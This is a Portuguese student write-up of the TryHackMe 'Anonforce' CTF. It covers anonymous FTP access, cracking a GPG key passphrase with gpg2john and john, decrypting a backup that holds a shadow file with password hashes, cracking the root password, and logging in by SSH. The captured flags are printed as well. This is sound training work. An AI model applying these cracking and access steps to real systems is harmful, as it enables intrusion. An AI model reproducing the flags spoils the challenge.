Anonforce

TryHackMe

Informações do documento	
Referência	CTF de estudo – Gabriel Garritano de Mendonça Villela
N° Revisão	1
Data de publicação	22/10/2025
Link	https://tryhackme.com/room/bsidesgtanonforce

Redação	Gabriel Garritano	Estudante
Revisão	Nome do revisor	Orientador
Aprovação	Nome do aprovador	Diretor

Histórico de revisões		
N°	**Entregas**	**Descrição**
0	DD/MM/AAAA	Produção
1	DD/MM/AAAA	Revisão
2	DD/MM/AAAA	Aprovação

Informações do CTF	
Nível de Dificuldade	Easy
Tipo de acesso	Gratuito
Conceitos envolvidos	WebHacking
Plataforma	TryHackMe
Área	Red Team

Contextualização

boot2root machine for FIT and bsides guatemala CTF

Conceitos utilizados

- FTP
- Bruteforce
- john
- gpg2john

Desenvolvimento

Inicialmente, a sala não fornece muitas informações. Há apenas duas tarefas a serem cumpridas: ler a root.txt e user.txt
Uma vez que a sala foi iniciada e a conexão com a openvpn foi realizada ou a attackbox foi aberta, foi utilizada uma ferramenta de escaneamento de portas (nmap) no endereço fornecido. Foram encontradas duas portas

Acessando a porta ftp com a vulnerabilidade de utilizar o usuários anonymous encontramos alguns arquivos dentro das pastas de usuários e melodias (pasta de usuário) e notread. Utilizando o comando get baixamos os respectivos arquivos para dentro da attackbox. Utilizando o comando less pode-se ler a

user.txt, arquivo baixado dentro da pasta melodias e resposta da primeira tarefa requisitada.

```
606083fd33beb1284fc51f411a706af8
user.txt (END)
```

Agora, precisamos buscar a root.txt. Para isso, iremos comecar utilizando a ferramenta de quebra de hash chamada john. Baixamos dois arquivos dentro da pasta notread, um deles chama-se private.asc. Com o comando gpg2john private.asc > criptografado (pode ser utilizado qualquer nome) e depois rodando john –wordlist=/usr/share/wordlists/rockyou.txt criptografado descobrimos que o tipo de hash que estamos quebrando é do tipo gpg. Desta forma, encontra-se a chave xbox360

```
root@ip-10-201-15-156:~# john --wordlist=/usr/share/wordlists/rockyou.txt criptografado
Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded
 hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia
128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xbox360          (anonforce)
1g 0:00:00:00 DONE (2025-10-22 16:24) 6.666g/s 6200p/s 6200c/s 6200C/s xbox360..sheena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Com essa chave, é possível importar a chave pgp pública e utilizar a chave secreta (xbox360) para descriptografar backup.pgp. Neste arquivo, encontram-se diversas hashes de credenciais de diferentes aplicações. Salvando o hash da root em um arquivo e utilizando o john, encontramos a chave kikari. Agora, basta conectar-se via ssh no servidor indicado utilizando esta senha e abrir a root.txt, completando o desafio.

```
root@ip-10-201-15-156:~# gpg --import private.asc
gpg: key B92CD1F280AD82C2: public key "anonforce <melodias@anonforce.nsa>" imported
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
root@ip-10-201-15-156:~# gpg --decrypt backup.pgp
gpg: WARNING: cypher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
      "anonforce <melodias@anonforce.nsa>"
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18120:0:99999:7:::
uuidd:*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
sshd:*:18120:0:99999:7:::
root@ip-10-201-15-156:~#
```

Paste

```
f706456440c7af4187810c31c6cebdce
root.txt (END)
```

Conclusão

O desafio aborda conceitos de exploração de portas abertas para ganhar acesso a servico ssh e ftp, quebra de arquivos-chave encriptados por GPG e decriptação de credenciais de usuários. Caso o contexto apresentado na simulação fosse uma realidade, seria essencial reconfigurar o servidor garantindo que filtros de verificação estivessem ativos para as portas FTP e SSH.


You did it! 🎉 Anonforce complete!
Points earned
60
Completed tasks
1
Room type
Challenge
Difficulty
Easy
Streak
1
79,741 users are actively learning this week